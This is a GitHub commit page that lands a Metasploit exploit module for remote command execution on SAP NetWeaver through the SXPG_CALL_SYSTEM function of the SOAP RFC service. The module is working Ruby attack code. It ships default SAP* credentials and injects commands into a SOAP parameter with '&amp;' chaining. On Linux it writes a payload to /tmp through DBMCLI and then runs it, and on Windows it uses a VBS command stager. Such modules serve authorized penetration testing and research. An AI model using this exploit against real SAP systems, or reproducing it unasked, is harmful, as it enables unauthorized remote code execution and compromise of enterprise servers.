Skip to content

Commit 6842432

Browse files
author
jvazquez-r7
committed
Land rapid7#1678, @nmonkee's sap_soap_rfc_sxpg_call_system_exec exploit
2 parents cf05602 + 45adb85 commit 6842432

File tree

1 file changed

+200
-0
lines changed

1 file changed

+200
-0
lines changed
Lines changed: 200 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,200 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
##
9+
# This module is based on, inspired by, or is a port of a plugin available in
10+
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
11+
# http://www.onapsis.com/research-free-solutions.php.
12+
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
13+
# in producing the Metasploit modules and was happy to share his knowledge and
14+
# experience - a very cool guy.
15+
#
16+
# The following guys from ERP-SCAN deserve credit for their contributions -
17+
# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
18+
# Dmitry Evdokimov.
19+
#
20+
# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
21+
# who have Beta tested the modules and provided excellent feedback. Some people
22+
# just seem to enjoy hacking SAP :)
23+
##
24+
25+
require 'msf/core'
26+
27+
class Metasploit4 < Msf::Exploit::Remote
28+
29+
Rank = GreatRanking
30+
31+
include Msf::Exploit::CmdStagerVBS
32+
include Msf::Exploit::EXE
33+
include Msf::Exploit::Remote::HttpClient
34+
35+
def initialize
36+
super(
37+
'Name' => 'SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution',
38+
'Description' => %q{
39+
This module abuses the SAP NetWeaver SXPG_CALL_SYSTEM function, on the SAP SOAP
40+
RFC Service, to execute remote commands. This module needs SAP credentials with
41+
privileges to use the /sap/bc/soap/rfc in order to work. The module has been tested
42+
successfully on Windows 2008 64 bits and Linux 64 bits platforms.
43+
},
44+
'References' =>
45+
[
46+
[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]
47+
],
48+
'DisclosureDate' => 'Mar 26 2013',
49+
'Platform' => ['win', 'unix'],
50+
'Targets' => [
51+
[ 'Linux',
52+
{
53+
'Arch' => ARCH_CMD,
54+
'Platform' => 'unix'
55+
#'Payload' =>
56+
#{
57+
#'DisableNops' => true,
58+
#'Space' => 232,
59+
#'Compat' =>
60+
#{
61+
#'PayloadType' => 'cmd',
62+
#'RequiredCmd' => 'perl ruby',
63+
#}
64+
#}
65+
}
66+
],
67+
[ 'Windows x64',
68+
{
69+
'Arch' => ARCH_X86_64,
70+
'Platform' => 'win'
71+
}
72+
]
73+
],
74+
'DefaultTarget' => 0,
75+
'Privileged' => false,
76+
'Author' =>
77+
[
78+
'nmonkee'
79+
],
80+
'License' => MSF_LICENSE
81+
)
82+
register_options(
83+
[
84+
Opt::RPORT(8000),
85+
OptString.new('CLIENT', [true, 'SAP Client', '001']),
86+
OptString.new('USERNAME', [true, 'Username', 'SAP*']),
87+
OptString.new('PASSWORD', [true, 'Password', '06071992'])
88+
], self.class)
89+
register_advanced_options(
90+
[
91+
OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments (Windows Target)', 250]),
92+
], self.class)
93+
end
94+
95+
def send_soap_request(data)
96+
res = send_request_cgi({
97+
'uri' => '/sap/bc/soap/rfc',
98+
'method' => 'POST',
99+
'data' => data,
100+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
101+
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
102+
'ctype' => 'text/xml; charset=UTF-8',
103+
'headers' => {
104+
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
105+
},
106+
'vars_get' => {
107+
'sap-client' => datastore['CLIENT'],
108+
'sap-language' => 'EN'
109+
}
110+
})
111+
return res
112+
end
113+
114+
def build_soap_request(command, sap_command, sap_os)
115+
data = "<?xml version=\"1.0\" encoding=\"utf-8\" ?>"
116+
data << "<env:Envelope xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:env=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">"
117+
data << "<env:Body>"
118+
data << "<n1:SXPG_CALL_SYSTEM xmlns:n1=\"urn:sap-com:document:sap:rfc:functions\" env:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
119+
data << "<ADDITIONAL_PARAMETERS>#{command}</ADDITIONAL_PARAMETERS>"
120+
data << "<COMMANDNAME>#{sap_command}</COMMANDNAME>"
121+
data << "<OPERATINGSYSTEM>#{sap_os}</OPERATINGSYSTEM>"
122+
data << "<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>"
123+
data << "</n1:SXPG_CALL_SYSTEM>"
124+
data << "</env:Body>"
125+
data << "</env:Envelope>"
126+
return data
127+
end
128+
129+
def check
130+
data = rand_text_alphanumeric(4 + rand(4))
131+
res = send_soap_request(data)
132+
if res and res.code == 500 and res.body =~ /faultstring/
133+
return Exploit::CheckCode::Detected
134+
end
135+
return Exploit::CheckCode::Safe
136+
end
137+
138+
def exploit
139+
if target.name =~ /Windows/
140+
linemax = datastore['PAYLOAD_SPLIT']
141+
vprint_status("#{rhost}:#{rport} - Using custom payload size of #{linemax}") if linemax != 250
142+
print_status("#{rhost}:#{rport} - Sending SOAP SXPG_CALL_SYSTEM request")
143+
execute_cmdstager({ :delay => 0.35, :linemax => linemax })
144+
elsif target.name =~ /Linux/
145+
file = rand_text_alphanumeric(5)
146+
stage_one = create_unix_payload(1,file)
147+
print_status("#{rhost}:#{rport} - Dumping the payload to /tmp/#{file}...")
148+
res = send_soap_request(stage_one)
149+
if res and res.code == 200 and res.body =~ /External program terminated/
150+
print_good("#{rhost}:#{rport} - Payload dump was successful")
151+
else
152+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Payload dump failed")
153+
end
154+
stage_two = create_unix_payload(2,file)
155+
print_status("#{rhost}:#{rport} - Executing /tmp/#{file}...")
156+
send_soap_request(stage_two)
157+
end
158+
end
159+
160+
def create_unix_payload(stage, file)
161+
command = ""
162+
if target.name =~ /Linux/
163+
if stage == 1
164+
my_payload = payload.encoded.gsub(" ","\t")
165+
my_payload.gsub!("&","&amp;")
166+
my_payload.gsub!("<","&lt;")
167+
command = "-o /tmp/" + file + " -n pwnie" + "\n!"
168+
command << my_payload
169+
command << "\n"
170+
elsif stage == 2
171+
command = "-ic /tmp/" + file
172+
end
173+
174+
end
175+
176+
return build_soap_request(command.to_s, "DBMCLI", "ANYOS")
177+
end
178+
179+
def execute_command(cmd, opts)
180+
command = cmd.gsub(/&/, "&amp;")
181+
command.gsub!(/%TEMP%\\/, "")
182+
data = build_soap_request("&amp;#{command}", "LIST_DB2DUMP", "ANYOS")
183+
begin
184+
res = send_soap_request(data)
185+
if res and res.code == 200
186+
return
187+
else
188+
if res and res.body =~ /faultstring/
189+
error = res.body.scan(%r{<faultstring>(.*?)</faultstring>})
190+
0.upto(error.length-1) do |i|
191+
vprint_error("#{rhost}:#{rport} - Error #{error[i]}")
192+
end
193+
end
194+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Error injecting command")
195+
end
196+
rescue ::Rex::ConnectionError
197+
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Unable to connect")
198+
end
199+
end
200+
end

0 commit comments

Comments
 (0)